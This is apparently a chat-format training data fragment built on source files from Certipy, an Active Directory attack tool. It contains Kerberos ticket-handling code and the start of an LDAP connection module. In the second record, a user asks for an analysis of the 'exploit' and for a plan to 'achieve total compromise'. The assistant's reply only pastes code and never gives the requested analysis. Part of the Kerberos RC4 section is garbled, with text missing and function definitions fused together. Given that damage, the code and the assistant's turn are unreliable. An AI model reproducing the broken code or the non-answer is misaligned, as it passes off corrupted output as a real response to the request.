Ticket\nfrom impacket.spnego import SPNEGO_NegTokenInit, TypesMech\nfrom pyasn1.codec.ber import decoder, encoder\nfrom pyasn1.type.univ import noValue\n\nfrom certipy.lib.channel_binding import get_channel_binding_data_from_response\nfrom certipy.lib.logger import logging\nfrom certipy.lib.structs import e2i\nfrom certipy.lib.target import Target\n\n# Try to use a secure random number generator, fallback to standard if not available\ntry:\n rand = random.SystemRandom()\nexcept NotImplementedError:\n logging.warning(\n \"System RNG not available, falling back to less secure random generator\"\n )\n rand = random\n\n# Constants\nKERB_AP_OPTIONS_CBT = 0x4000 # Channel Binding token flag\nKRB_CLOCK_SKEW = 300 # 5 minutes in seconds\nAUTH_DATA_AP_OPTIONS = 143 # AD-AUTH-DATA-AP-OPTIONS type\nKRB_OID = b\"\\x06\\t*\\x86H\\x86\\xf7\\x12\\x01\\x02\\x02\" # Kerberos OID: 1.2.840.113554.1.2.2\n\n# Cache for TGT and TGS tickets to avoid redundant authentication\n# Keys: (username, domain, lmhash, nthash, aeskey, kdc_host)\nTGT_CACHE: Dict[\n Tuple[str, str, bytes, bytes, bytes, Optional[str]], Tuple[bytes, type, Key]\n] = {}\n\n# Keys: (spn, domain, kdc_host, kdc_rep, cipher, session_key)\nTGS_CACHE: Dict[\n Tuple[str, str, Optional[str], Any, Optional[type], Any], Tuple[bytes, type, Key]\n] = {}\n\n\ndef _convert_to_binary(data: Optional[str]) -> Optional[bytes]:\n \"\"\"\n Convert string hex representation to binary bytes.\n\n Args:\n data: String hex representation or None\n\n Returns:\n Bytes representation or None if input was None or empty\n \"\"\"\n if not data:\n return None\n\n return bytes.fromhex(data)\n\n\nclass MechIndepToken:\n \"\"\"\n Mechanism Independent Token implementation for Kerberos authentication.\n\n This class handles the encoding and decoding of GSS-API tokens with\n embedded mechanism identifiers (OIDs) for Kerberos.\n \"\"\"\n\n def __init__(self, data: bytes, oid: bytes):\n \"\"\"\n Initialize a mechanism independent token.\n\n Args:\n data: Token data\n oid: Object identifier for the authentication mechanism\n \"\"\"\n self.data = data\n self.token_oid = oid\n\n @staticmethod\n def from_bytes(data: bytes) -> \"MechIndepToken\":\n \"\"\"\n Parse a mechanism independent token from its binary representation.\n\n Args:\n data: Binary data to parse\n\n Returns:\n Parsed MechIndepToken object\n\n Raises:\n Exception: If the data format is invalid\n \"\"\"\n if data[0:1] != b\"\\x60\":\n raise Exception(\"Incorrect token data format (expected 0x60)\")\n\n data = data[1:]\n length, data = MechIndepToken._get_length(data)\n token_data = data[0:length]\n\n if token_data[0:1] != b\"\\x06\":\n raise Exception(\"Incorrect OID tag in token data\")\n\n oid_length, _ = MechIndepToken._get_length(token_data[1:])\n token_oid = token_data[0 : oid_length + 2]\n data = token_data[oid_length + 2 :]\n return MechIndepToken(data, token_oid)\n\n @staticmethod\n def _get_length(data: bytes) -> Tuple[int, bytes]:\n \"\"\"\n Extract ASN.1 length from the given data.\n\n Args:\n data: Binary data containing ASN.1 length\n\n Returns:\n Tuple of (length, remaining_data)\n \"\"\"\n if data[0] < 128:\n # Short form - length is in the first byte\n return data[0], data[1:]\n else:\n # Long form - first byte (minus 128) indicates number of length bytes\n bytes_count = data[0] - 128\n length = int.from_bytes(\n data[1 : 1 + bytes_count], byteorder=\"big\", signed=False\n )\n return length, data[1 + bytes_count :]\n\n @staticmethod\n def _encode_length(length: int) -> bytes:\n \"\"\"\n Encode a length value in ASN.1 format.\n\n Args:\n length: Length value to encode\n\n Returns:\n ASN.1 encoded length bytes\n \"\"\"\n if length < 128:\n # Short form - single byte\n return length.to_bytes(1, byteorder=\"big\", signed=False)\n else:\n # Long form - multiple bytes\n length_bytes = length.to_bytes((length.bit_length() + 7) // 8, \"big\")\n return (128 + len(length_bytes)).to_bytes(\n 1, byteorder=\"big\", signed=False\n ) + length_bytes\n\n def to_bytes(self) -> Tuple[bytes, bytes]:\n \"\"\"\n Convert the token to its binary representation.\n\n Returns:\n Tuple of (header_bytes, data_bytes)\n \"\"\"\n complete_token = self.token_oid + self.data\n\n # Create the ASN.1 structure\n token_bytes = (\n b\"\\x60\" + self._encode_length(len(complete_token)) + complete_token\n )\n\n # Return the header and data portions separately\n header_end = len(token_bytes) - len(self.data)\n return token_bytes[:header_end], self.data\n\n\nclass KerberosCipher:\n \"\"\"\n Implements encryption and decryption for Kerberos GSS-API messages.\n\n This class supports both RC4 and AES ciphers for securing GSSAPI\n communications in Kerberos authentication.\n \"\"\"\n\n def __init__(self, cipher: type, session_key: Key):\n \"\"\"\n Initialize the KerberosCipher object.\n\n Args:\n cipher: Cipher class for encryption/decryption\n session_key: Session key for encryption/decryption\n \"\"\"\n self.cipher = create_kerberos_cipher(cipher)\n self.session_key = session_key\n\n def encrypt(self, data: bytes, sequence_number: int) -> Tuple[bytes, bytes]:\n \"\"\"\n Encrypt data using the appropriate Kerberos cipher.\n\n Automatically selects between RC4 and AES encryption based on the\n cipher type.\n\n Args:\n data: Plaintext data to encrypt\n sequence_number: Message sequence number for integrity\n\n Returns:\n Tuple of (cipher_text, signature)\n \"\"\"\n if isinstance(self.cipher, GSSAPI_RC4):\n return self._encrypt_rc4(data, sequence_number)\n else:\n return self._encrypt_aes(data, sequence_number)\n\n def decrypt(self, data: bytes) -> bytes:\n \"\"\"\n Decrypt data using the appropriate Kerberos cipher.\n\n Automatically selects between RC4 and AES decryption based on the\n cipher type.\n\n Args:\n data: Encrypted data to decrypt\n\n Returns:\n Decrypted plaintext\n \"\"\"\n if isinstance(self.cipher, GSSAPI_RC4):\n return self._decrypt_rc4(data)\n else:\n return self._decrypt_aes(data)\n\n def _encrypt_aes(self, data: bytes, sequence_number: int) -> Tuple[bytes, bytes]:\n \"\"\"\n Encrypt data using AES cipher.\n\n Args:\n data: Plaintext data to encrypt\n sequence_number: Message sequence number for integrity\n\n Returns:\n Tuple of (cipher_text, signature)\n\n Raises:\n ValueError: If RC4 cipher is provided for AES encryption\n \"\"\"\n if isinstance(self.cipher, GSSAPI_RC4):\n raise ValueError(\"RC4 cipher cannot be used for AES encryption\")\n\n # Create token structure\n token = self.cipher.WRAP()\n cipher = self.cipher.cipherType\n\n # Set RRC (Required Role Check) for in-place encryption\n rrc = 28\n\n # Set token flags\n token[\"Flags\"] = 6 # Privacy and Integrity\n token[\"EC\"] = 0 # Extra Count\n token[\"RRC\"] = 0 # Initially zero\n token[\"SND_SEQ\"] = struct.pack(\">Q\", sequence_number) # Sequence number\n\n # Encrypt the data with the token\n cipher_text = cipher.encrypt(\n self.session_key, KG_USAGE_INITIATOR_SEAL, data + token.getData(), None\n )\n\n # Update RRC in token\n token[\"RRC\"] = rrc\n\n # Apply rotation based on RRC and EC\n cipher_text = self.cipher.rotate(cipher_text, token[\"RRC\"] + token[\"EC\"])\n\n return cipher_text, token.getData()\n\n def _decrypt_aes(self, data: bytes) -> bytes:\n \"\"\"\n Decrypt data using AES cipher.\n\n Args:\n data: Encrypted data to decrypt\n\n Returns:\n Decrypted plaintext\n\n Raises:\n ValueError: If RC4 cipher is provided for AES decryption\n \"\"\"\n if isinstance(self.cipher, GSSAPI_RC4):\n raise ValueError(\"RC4 cipher cannot be used for AES decryption\")\n\n # Extract token and cipher text\n token = self.cipher.WRAP(data[:16])\n rotated_data = data[16:]\n\n # Create cipher instance\n cipher = self.cipher.cipherType()\n\n # Unrotate the cipher text\n cipher_text = self.cipher.unrotate(rotated_data, token[\"RRC\"] + token[\"EC\"])\n\n # Decrypt the data\n plain_text = cipher.decrypt(\n self.session_key, KG_USAGE_ACCEPTOR_SEAL, cipher_text\n )\n\n # Remove token data from the end\n return plain_text[: -(token[\"EC\"] + 16)]\n\n def _encrypt_rc4(self, data: bytes, sequence_number: int) -> Tuple[bytes, bytes]:\n \"\"\"\n Encrypt data using RC4 cipher.\n\n Args:\n data: Plaintext data to encrypt\n sequence_number: Message sequence number for integrity\n\n Returns:\n Tuple of (cipher_text, signature)\n\n Raises:\n ValueError: If AES cipher is provided for RC4 encryption\n \"\"\"\n if not isinstance(self.cipher, GSSAPI_RC4):\n raise ValueError(\"AES cipher cannot be used for RC4 encryption\")\n\n # Add encryption flag byte\n data_with_flag = data + b\"\\x01\"\n\n # Create token structure\n token = self.cipher.WRAP()\n token[\"SGN_ALG\"] = GSS_HMAC\n token[\"SEAL_ALG\"] = GSS_RC4\n\n # Set sequence number\n token[\"SND_SEQ\"] = struct.pack(\">L\", sequence_number) + b\"\\x00\" * 4\n\n # Generate random confounding bytes\n token[\"Confounder\"] = \"\".join(\n [rand.choice(string.ascii_letters) for _ in range(8)]\n ).encode()\n\n # Generate signing key\n k_sign = HMAC.new(self.session_key.contents, b\"signaturekey\\0\", MD5).digest()\n\n # Generate checksum\n sgn_cksum = MD5.new(\n struct.pack(\"L\", sequence_number), MD5).digest()\n\n # Generate sequence key\n k_seq = HMAC.new(self.session_key.contents, struct.pack(\" bytes:\n \"\"\"\n Decrypt data using RC4 cipher.\n\n Args:\n data: Encrypted data to decrypt\n\n Returns:\n Decrypted plaintext\n\n Raises:\n ValueError: If AES cipher is provided for RC4 decryption\n Exception: If data format is invalid\n \"\"\"\n if not isinstance(self.cipher, GSSAPI_RC4):\n raise ValueError(\"AES cipher cannot be used for RC4 decryption\")\n\n try:\n # Parse mechanism independent token\n token = MechIndepToken.from_bytes(data)\n\n # Extract WRAP token from first 32 bytes\n wrap = self.cipher.WRAP(token.data[:32])\n encrypted_data = token.data[32:]\n\n # Generate sequence key\n k_seq = HMAC.new(\n self.session_key.contents, struct.pack(\" Generator[httpx.Request, httpx.Response, None]:\n \"\"\"\n Implement the authentication flow for HTTPX.\n\n This generator handles the first request and delegates to retry_with_auth\n if authentication is required.\n\n Args:\n request: The HTTPX request to authenticate\n\n Yields:\n Modified requests with appropriate authentication headers\n \"\"\"\n # Set connection to keep-alive to maintain the authentication state\n request.headers[\"Connection\"] = \"Keep-Alive\"\n\n # Send the initial request\n response = yield request\n\n # If server requires authentication, proceed with Kerberos auth\n if response.status_code in (401, 407):\n yield from self.retry_with_auth(request, response)\n\n def retry_with_auth(\n self, request: httpx.Request, response: httpx.Response\n ) -> Generator[httpx.Request, httpx.Response, None]:\n \"\"\"\n Retry the request with Kerberos authentication.\n\n This method adds Kerberos SPNEGO authentication header to the request.\n\n Args:\n request: The original HTTPX request\n response: The HTTPX response requiring authentication\n\n Yields:\n Modified request with Kerberos authentication header\n\n Raises:\n ValueError: If server doesn't provide an authentication challenge\n \"\"\"\n # Determine header names based on status code (proxy vs direct)\n is_proxy = response.status_code == 407\n authenticate_header_name = (\n \"Proxy-Authenticate\" if is_proxy else \"WWW-Authenticate\"\n )\n authorization_header_name = (\n \"Proxy-Authorization\" if is_proxy else \"Authorization\"\n )\n\n # Check if server sent authentication challenge\n authenticate_header = response.headers.get(authenticate_header_name)\n if authenticate_header is None:\n raise ValueError(\n f\"No {authenticate_header_name} header found in server response\"\n )\n\n # Get channel binding data if enabled\n channel_binding_data = None\n if self.channel_binding:\n channel_binding_data = get_channel_binding_data_from_response(response)\n if channel_binding_data:\n logging.debug(\"Using channel binding for Kerberos authentication\")\n else:\n logging.debug(\"Channel binding data not available for this connection\")\n\n # Generate Kerberos token\n _, _, spnego_blob, _ = get_kerberos_type1(\n self.target, self.target.remote_name, self.service, channel_binding_data\n )\n\n # Add token to request header\n auth_header = f\"Negotiate {base64.b64encode(spnego_blob).decode()}\"\n request.headers[authorization_header_name] = auth_header\n\n # Return the authenticated request\n yield request\n\n\ndef get_kerberos_type1(\n target: Target,\n target_name: str = \"\",\n service: str = \"HOST\",\n channel_binding_data: Optional[bytes] = None,\n signing: bool = False,\n) -> Tuple[type, Key, bytes, str]:\n \"\"\"\n Generate a Kerberos Type 1 authentication message (AP_REQ).\n\n Creates a SPNEGO token containing Kerberos AP_REQ that can be used for HTTP\n or other protocol authentication. Supports channel binding for EPA.\n\n Args:\n target: Target object containing authentication details\n target_name: Name of the target server\n service: Service type (e.g., \"HTTP\", \"HOST\")\n channel_binding_data: Optional channel binding token data for EPA\n signing: Whether to enable signing and encryption flags\n\n Returns:\n Tuple containing:\n - Cipher object for encryption\n - Session key for future operations\n - SPNEGO token as bytes\n - Authenticated username\n \"\"\"\n # Get TGS ticket for the service\n tgs, cipher, session_key, username, domain = get_tgs(target, target_name, service)\n\n # Create principal for the client\n principal = Principal(username, type=e2i(constants.PrincipalNameType.NT_PRINCIPAL))\n\n # Create SPNEGO token\n blob = SPNEGO_NegTokenInit()\n blob[\"MechTypes\"] = [TypesMech[\"MS KRB5 - Microsoft Kerberos 5\"]]\n\n # Extract ticket from TGS response\n tgs_rep = decoder.decode(tgs, asn1Spec=TGS_REP())[0]\n ticket = Ticket()\n _ = ticket.from_asn1(tgs_rep[\"ticket\"])\n\n # Build AP_REQ message\n ap_req = AP_REQ()\n ap_req[\"pvno\"] = 5 # Protocol version number\n ap_req[\"msg-type\"] = e2i(constants.ApplicationTagNumbers.AP_REQ)\n ap_req[\"ap-options\"] = constants.encodeFlags([]) # No options by default\n seq_set(ap_req, \"ticket\", ticket.to_asn1)\n\n # Create authenticator\n authenticator = Authenticator()\n authenticator[\"authenticator-vno\"] = 5 # Version number\n authenticator[\"crealm\"] = domain\n seq_set(authenticator, \"cname\", principal.components_to_asn1)\n\n # Add timestamp\n now = datetime.datetime.now(datetime.timezone.utc)\n authenticator[\"cusec\"] = now.microsecond\n authenticator[\"ctime\"] = KerberosTime.to_asn1(now)\n\n # Set up the GSS-API checksum\n authenticator[\"cksum\"] = noValue\n authenticator[\"cksum\"][\"cksumtype\"] = 0x8003 # GSS API checksum type\n\n checksum = CheckSumField()\n checksum[\"Lgth\"] = 16\n\n # Set flags for message protection\n flags = GSS_C_SEQUENCE_FLAG | GSS_C_REPLAY_FLAG\n if signing:\n flags |= GSS_C_CONF_FLAG | GSS_C_INTEG_FLAG\n\n checksum[\"Flags\"] = flags\n\n # Add channel binding data if provided\n if channel_binding_data:\n checksum[\"Bnd\"] = channel_binding_data\n\n authenticator[\"cksum\"][\"checksum\"] = checksum.getData()\n\n # Add authorization data for channel binding\n if channel_binding_data:\n authenticator[\"authorization-data\"] = noValue\n authenticator[\"authorization-data\"][0] = noValue\n authenticator[\"authorization-data\"][0][\"ad-type\"] = AUTH_DATA_AP_OPTIONS\n authenticator[\"authorization-data\"][0][\"ad-data\"] = struct.pack(\n \" Tuple[bytes, type, Key, str, str]:\n \"\"\"\n Obtain a Ticket Granting Service (TGS) ticket for the specified service.\n\n This function implements a multi-step strategy for acquiring a TGS:\n 1. Try to use credentials from an existing Kerberos ticket cache (KRB5CCNAME)\n 2. Request a new TGT using provided credentials if needed\n 3. Use the TGT to request a service ticket (TGS)\n 4. Handle encryption type fallbacks for compatibility with different KDCs\n\n Args:\n target: Target object with authentication details (username, domain, etc.)\n target_name: Hostname of the target server\n service: Service type (e.g., \"HTTP\", \"HOST\", \"LDAP\")\n\n Returns:\n Tuple containing:\n - TGS data (bytes)\n - Cipher object for encryption operations\n - Session key for subsequent communications\n - Authenticated username\n - Authenticated domain\n\n Raises:\n KerberosError: For Kerberos protocol errors (bad credentials, expired tickets, etc.)\n Exception: For general errors (missing cache files, misconfiguration)\n \"\"\"\n # Extract authentication details from target\n username = target.username\n password = target.password\n domain = target.domain\n lmhash = _convert_to_binary(target.lmhash) or b\"\"\n nthash = _convert_to_binary(target.nthash) or b\"\"\n aes_key = _convert_to_binary(target.aes) or b\"\"\n kdc_host = target.dc_ip\n\n tgt: Optional[Dict[str, Any]] = None\n tgs: Optional[Dict[str, Any]] = None\n\n # Step 1: Try to use existing ticket cache if available\n logging.debug(\"Checking for Kerberos ticket cache\")\n ccache = None\n\n krb5ccname = os.getenv(\"KRB5CCNAME\")\n if krb5ccname:\n try:\n ccache = CCache.loadFile(krb5ccname)\n logging.debug(f\"Loaded Kerberos cache from {krb5ccname}\")\n except Exception as e:\n logging.debug(f\"Failed to load Kerberos cache: {e}\")\n\n if ccache:\n # Validate cache and extract information\n if not ccache.principal:\n raise Exception(\"No principal found in CCache file\")\n if not ccache.principal.realm:\n raise Exception(\"No realm/domain found in CCache file\")\n\n # Extract domain from cache if needed\n ccache_domain = ccache.principal.realm[\"data\"].decode(\"utf-8\")\n if not domain:\n domain = ccache_domain\n logging.debug(f\"Domain retrieved from CCache: {domain}\")\n\n # Extract username from cache components\n ccache_username = \"/\".join(\n map(lambda x: x[\"data\"].decode(), ccache.principal.components)\n )\n\n # Try to find appropriate credentials in cache\n # First look for the specific service ticket\n principal = f\"{service}/{target_name.upper()}@{domain.upper()}\"\n creds = ccache.getCredential(principal)\n\n if creds is None:\n # If service ticket not found, look for TGT\n principal = f\"krbtgt/{domain.upper()}@{domain.upper()}\"\n creds = ccache.getCredential(principal)\n if creds is not None:\n tgt = creds.toTGT()\n logging.debug(\"Using TGT from cache\")\n else:\n logging.debug(\"No valid credentials found in cache\")\n else:\n tgs = creds.toTGS(principal)\n logging.debug(f\"Using {service} ticket from cache\")\n\n # Validate username from credentials or cache\n if creds is not None:\n ccache_username = (\n creds[\"client\"].prettyPrint().split(b\"@\")[0].decode(\"utf-8\")\n )\n logging.debug(\n f\"Username retrieved from CCache credential: {ccache_username}\"\n )\n elif ccache.principal.components:\n ccache_username = ccache.principal.components[0][\"data\"].decode(\"utf-8\")\n logging.debug(\n f\"Username retrieved from CCache principal: {ccache_username}\"\n )\n\n # Verify username matches if specified\n if username and ccache_username.lower() != username.lower():\n logging.warning(\n f\"Username {username!r} does not match username in CCache {ccache_username!r}\"\n )\n tgt = None\n tgs = None\n else:\n username = ccache_username\n\n # Verify domain matches if specified\n if domain and ccache_domain.lower() != domain.lower():\n logging.warning(\n f\"Domain {domain!r} does not match domain in CCache {ccache_domain!r}\"\n )\n\n # Step 2: Set up the client principal\n user_principal = Principal(\n username, type=e2i(constants.PrincipalNameType.NT_PRINCIPAL)\n )\n\n kdc_rep = bytes()\n cipher: Optional[type] = None\n session_key: Optional[Key] = None\n rc4_fallback_attempted = False\n\n # Step 3: Authentication flow - try to get TGT then TGS\n while True:\n try:\n # Step 3.1: Get or use TGT\n if tgt is None:\n if tgs is None:\n # Request new TGT if we don't have one\n logging.debug(f\"Getting TGT for {username!r}@{domain!r}\")\n\n # Check if we have a cached TGT\n cache_key = (username, domain, lmhash, nthash, aes_key, kdc_host)\n\n if cache_key in TGT_CACHE:\n logging.debug(f\"Using cached TGT for {username!r}@{domain!r}\")\n kdc_rep, cipher, session_key = TGT_CACHE[cache_key]\n else:\n if not password and not lmhash and not nthash and not aes_key:\n raise ValueError(\"No credentials provided for TGT request\")\n\n # Request new TGT\n kdc_rep, cipher, _, session_key = getKerberosTGT(\n user_principal, password, domain, lmhash, nthash, aes_key, kdc_host # type: ignore\n )\n\n # Cache the TGT for future use\n TGT_CACHE[cache_key] = (\n cast(bytes, kdc_rep),\n cast(type, cipher),\n cast(Key, session_key),\n )\n\n logging.debug(f\"Got TGT for {username!r}@{domain!r}\")\n else:\n # If we already have a TGS, no need for TGT\n kdc_rep = tgs[\"KDC_REP\"]\n cipher = tgs[\"cipher\"]\n session_key = tgs[\"sessionKey\"]\n\n logging.debug(\n f\"Using existing TGS for {username!r}@{domain!r} for {service!r} service\"\n )\n\n break\n else:\n # Use existing TGT\n kdc_rep = tgt[\"KDC_REP\"]\n cipher = tgt[\"cipher\"]\n session_key = tgt[\"sessionKey\"]\n\n # Step 3.2: Get or use TGS\n if tgs is None:\n # Format the Service Principal Name (SPN)\n spn = f\"{service}/{target_name}\"\n server_principal = Principal(\n spn,\n type=e2i(constants.PrincipalNameType.NT_SRV_INST),\n )\n\n logging.debug(f\"Getting TGS for {spn!r}\")\n\n # Check if we have a cached TGS\n cache_key = (spn, domain, kdc_host, kdc_rep, cipher, session_key)\n\n if cache_key in TGS_CACHE:\n logging.debug(f\"Using cached TGS for {spn!r}\")\n kdc_rep, cipher, session_key = TGS_CACHE[cache_key]\n else:\n # Request new TGS\n kdc_rep, cipher, _, session_key = getKerberosTGS(\n server_principal, domain, kdc_host, kdc_rep, cipher, session_key\n )\n\n # Cache the TGS for future use\n TGS_CACHE[cache_key] = (kdc_rep, cipher, session_key)\n\n logging.debug(f\"Got TGS for {spn!r}\")\n break\n else:\n # Use existing TGS\n kdc_rep = tgs[\"KDC_REP\"]\n cipher = tgs[\"cipher\"]\n session_key = tgs[\"sessionKey\"]\n break\n\n except KerberosError as e:\n # Handle encryption type incompatibility\n if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP:\n # Fall back to RC4 if using password auth without explicit hashes\n if (\n not rc4_fallback_attempted\n and not lmhash\n and not nthash\n and not aes_key\n and password\n and not tgt\n and not tgs\n ):\n from impacket.ntlm import compute_lmhash, compute_nthash\n\n logging.warning(\n \"AES encryption not supported by KDC, falling back to RC4\"\n )\n lmhash = compute_lmhash(password)\n nthash = compute_nthash(password)\n rc4_fallback_attempted = True\n # Clear cache entries that might have used AES\n tgt = None\n continue\n else:\n logging.error(\n f\"KDC doesn't support the requested encryption type: {e}\"\n )\n raise\n else:\n logging.error(f\"Kerberos error: {e} (Error code: {e.getErrorCode()})\")\n raise\n except Exception as e:\n # Handle other exceptions with more detailed error messages\n logging.error(f\"Error during Kerberos authentication: {e}\")\n raise\n\n # Step 4: Extract client information from ticket\n ticket = decoder.decode(kdc_rep, asn1Spec=TGS_REP())[0]\n client_name = Principal()\n client_name = client_name.from_asn1(ticket, \"crealm\", \"cname\")\n\n # Extract the username and domain from the client name\n username = \"@\".join(str(client_name).split(\"@\")[:-1])\n domain = client_name.realm or \"\"\n\n return kdc_rep, cast(type, cipher), cast(Key, session_key), username, domain\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/lib/ldap.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\n\"\"\"\nLDAP connection and query functionality for Certipy.\n\nThis module provides classes and methods for:\n- Establishing LDAP/LDAPS connections to Active Directory\n- Performing common search and modification operations\n- Mapping between security identifiers (SIDs) and account objects\n- Managing user and group membership information\n- Handling various authentication methods (NTLM, Kerberos, simple bind)\n\nMain components:\n- LDAPEntry: Dictionary-like class for LDAP objects with attribute access methods\n- LDAPConnection: Main class for connecting to and querying LDAP servers\n- ExtendedLdapConnection: Extends ldap3 Connection with custom encryption support\n- ExtendedStrategy: Custom LDAP strategy for handling secure communications\n\"\"\"\n\nimport socket\nimport ssl\nimport tempfile\nfrom typing import Any, Dict, List, Optional, Set, Tuple, Union, cast\n\nimport ldap3\nimport ldap3.strategy\nimport ldap3.strategy.sync\nfrom cryptography.hazmat.primitives.asymmetric.types import PrivateKeyTypes\nfrom impacket.ntlm import NTLMSSP_NEGOTIATE_SEAL, NTLMAuthChallenge\nfrom ldap3.core.exceptions import LDAPExceptionError\nfrom ldap3.core.results import (\n RESULT_INVALID_CREDENTIALS,\n RESULT_STRONGER_AUTH_REQUIRED,\n RESULT_SUCCESS,\n)\nfrom ldap3.operation.bind import bind_operation\nfrom ldap3.protocol import rfc4511\nfrom ldap3.protocol.microsoft import security_descriptor_control\nfrom ldap3.strategy.base import BaseStrategy\nfrom ldap3.utils.asn1 import encode as _ldap3_encode # type: ignore\nfrom pyasn1.codec.ber.encoder import Encoder\n\nldap3_encode = cast(Encoder, _ldap3_encode)\n\n\nfrom certipy.lib.certificate import cert_to_pem, key_to_pem, x509\nfrom certipy.lib.channel_binding import get_channel_binding_data_from_ssl_socket\nfrom certipy.lib.constants import WELLKNOWN_SIDS\nfrom certipy.lib.errors import handle_error\nfrom certipy.lib.kerberos import KerberosCipher, get_kerberos_type1\nfrom certipy.lib.logger import logging\nfrom certipy.lib.ntlm import NTLMCipher, ntlm_authenticate, ntlm_negotiate\nfrom certipy.lib.target import Target\n\n\ndef get_account_type(entry: \"LDAPEntry\") -> str:\n \"\"\"\n Determine the type of Active Directory account based on sAMAccountType and objectClass.\n\n Args:\n entry: LDAP entry containing account attributes\n\n Returns:\n Account type as string: \"Group\", \"Computer\", \"User\", \"TrustAccount\", or \"Domain\"\n \"\"\"\n account_type = entry.get(\"sAMAccountType\")\n object_class = entry.get(\"objectClass\") or []\n\n # Group accounts\n if account_type in [268435456, 268435457, 536870912, 536870913]:\n return \"Group\"\n # Computer accounts\n elif account_type in [805306369]:\n return \"Computer\"\n # User accounts (including managed service accounts)\n elif (\n account_type in [805306368]\n or \"msDS-GroupManagedServiceAccount\" in object_class\n or \"msDS-ManagedServiceAccount\" in object_class\n ):\n return \"User\"\n # Trust accounts\n elif account_type in [805306370]:\n return \"TrustAccount\"\n # Default to Domain\n else:\n return \"Domain\"\n\n\nclass LDAPEntry(Dict[str, Any]):\n \"\"\"\n Dictionary-like class representing an LDAP entry with helper methods.\n\n This class extends the standard dictionary to provide convenient access\n to LDAP attributes and raw attribute values.\n \"\"\"\n\n def get(self, key: str, default: Any = None) -> Any:\n \"\"\"\n Get an attribute value from the LDAP entry with support for default values.\n\n This method provides convenient access to LDAP attributes and handles several\n special cases, including missing attributes and empty lists.\n\n Args:\n key: Attribute name to retrieve\n default: Value to return if attribute is missing or empty (default: None)\n\n Returns:\n Attribute value if present and not empty, otherwise the default value\n \"\"\"\n if key not in self.__getitem__(\"attributes\").keys():\n return default\n\n item = self.__getitem__(\"attributes\").__getitem__(key)\n\n # Return default for empty lists\n if isinstance(item, list) and len(item) == 0:\n return default\n\n return item\n\n def set(self, key: str, value: Any) -> None:\n \"\"\"\n Set an attribute value in the LDAP entry.\n\n Args:\n key: Attribute name to set\n value: Value to assign to the attribute\n \"\"\"\n return self.__getitem__(\"attributes\").__setitem__(key, value)\n\n def get_raw(self, key: str) -> Any:\n \"\"\"\n Get the raw (unprocessed) attribute value from the LDAP entry.\n\n Args:\n key: Attribute name to retrieve\n\n Returns:\n Raw attribute value or None if not present\n \"\"\"\n if key not in self.__getitem__(\"raw_attributes\").keys():\n return None\n\n return self.__getitem__(\"raw_attributes\").__getitem__(key)\n\n\nclass ExtendedStrategy(ldap3.strategy.sync.SyncStrategy):\n \"\"\"\n Extended strategy class for LDAP connections with encryption support.\n\n This class extends the default SyncStrategy to provide custom\n sending and receiving methods for LDAP messages. It handles\n encryption and decryption of messages using NTLM or Kerberos\n ciphers, as well as custom error handling.\n \"\"\"\n\n def __init__(self, connection: \"ExtendedLdapConnection\") -> None:\n \"\"\"\n Initialize the extended strategy with a connection.\n\n Args:\n connection: The ExtendedLdapConnection to use\n \"\"\"\n super().__init__(connection)\n self._connection = connection\n # Override the default receiving method to use the custom implementation\n self.receiving = self._receiving\n self.sequence_number = 0\n\n def sending(self, ldap_message: Any) -> None:\n \"\"\"\n Send an LDAP message, optionally encrypting it first.\n\n Args:\n ldap_message: The LDAP message to send\n\n Raises:\n socket.error: If sending fails\n \"\"\"\n try:\n encoded_message = cast(bytes, ldap3_encode(ldap_message))\n\n # Encrypt the message if required and not in SASL progress\n if self._connection.should_encrypt and not self.connection.sasl_in_progress:\n encoded_message = self._connection._encrypt(encoded_message)\n self.sequence_number += 1\n\n self.connection.socket.sendall(encoded_message)\n except socket.error as e:\n self.connection.last_error = f\"socket sending error: {e}\"\n logging.error(f\"Failed to send LDAP message: {e}\")\n handle_error()\n raise\n\n # Update usage statistics if enabled\n if self.connection.usage:\n self.connection._usage.update_transmitted_message(\n self.connection.request, len(encoded_message)\n )\n\n def _receiving(self) -> List[bytes]: # type: ignore\n \"\"\"\n Receive data over the socket and handle message encryption/decryption.\n\n Returns:\n List of received LDAP messages\n\n Raises:\n Exception: On socket or receive errors\n \"\"\"\n messages = []\n receiving = True\n unprocessed = b\"\"\n data = b\"\"\n get_more_data = True\n sasl_total_bytes_received = 0\n sasl_received_data = b\"\"\n sasl_next_packet = b\"\"\n sasl_buffer_length = -1\n\n while receiving:\n if get_more_data:\n try:\n data = self.connection.socket.recv(self.socket_size)\n except (OSError, socket.error, AttributeError) as e:\n self.connection.last_error = f\"error receiving data: {e}\"\n try:\n self.close()\n except (socket.error, LDAPExceptionError):\n pass\n logging.error(f\"Failed to receive LDAP message: {e}\")\n handle_error()\n raise\n\n # Handle encrypted messages (from NTLM or Kerberos)\n if (\n self._connection.should_encrypt\n and not self.connection.sasl_in_progress\n ):\n data = sasl_next_packet + data\n\n if sasl_received_data == b\"\" or sasl_next_packet:\n # Get the size of the encrypted message\n sasl_buffer_length = int.from_bytes(data[0:4], \"big\")\n data = data[4:]\n sasl_next_packet = b\"\"\n sasl_total_bytes_received += len(data)\n sasl_received_data += data\n\n # Check if we have received the complete encrypted message\n if sasl_total_bytes_received >= sasl_buffer_length:\n # Handle multi-packet SASL messages\n # When the LDAP response is split across multiple TCP packets,\n # the SASL buffer length might not match our socket buffer size\n sasl_next_packet = sasl_received_data[sasl_buffer_length:]\n\n # Decrypt the received message\n sasl_received_data = self._connection._decrypt(\n sasl_received_data[:sasl_buffer_length]\n )\n sasl_total_bytes_received = 0\n unprocessed += sasl_received_data\n sasl_received_data = b\"\"\n else:\n unprocessed += data\n\n if len(data) > 0:\n # Try to compute the message length\n length = BaseStrategy.compute_ldap_message_size(unprocessed)\n\n if length == -1: # too few data to decode message length\n get_more_data = True\n continue\n\n if len(unprocessed) < length:\n get_more_data = True\n else:\n messages.append(unprocessed[:length])\n unprocessed = unprocessed[length:]\n get_more_data = False\n if len(unprocessed) == 0:\n receiving = False\n else:\n receiving = False\n\n return messages\n\n\nclass ExtendedLdapConnection(ldap3.Connection):\n \"\"\"\n Extended LDAP connection class with support for secure communication.\n\n This class extends the ldap3.Connection class to provide additional\n functionality for LDAP operations, including support for NTLM and\n Kerberos encryption, channel binding, and custom error handling.\n 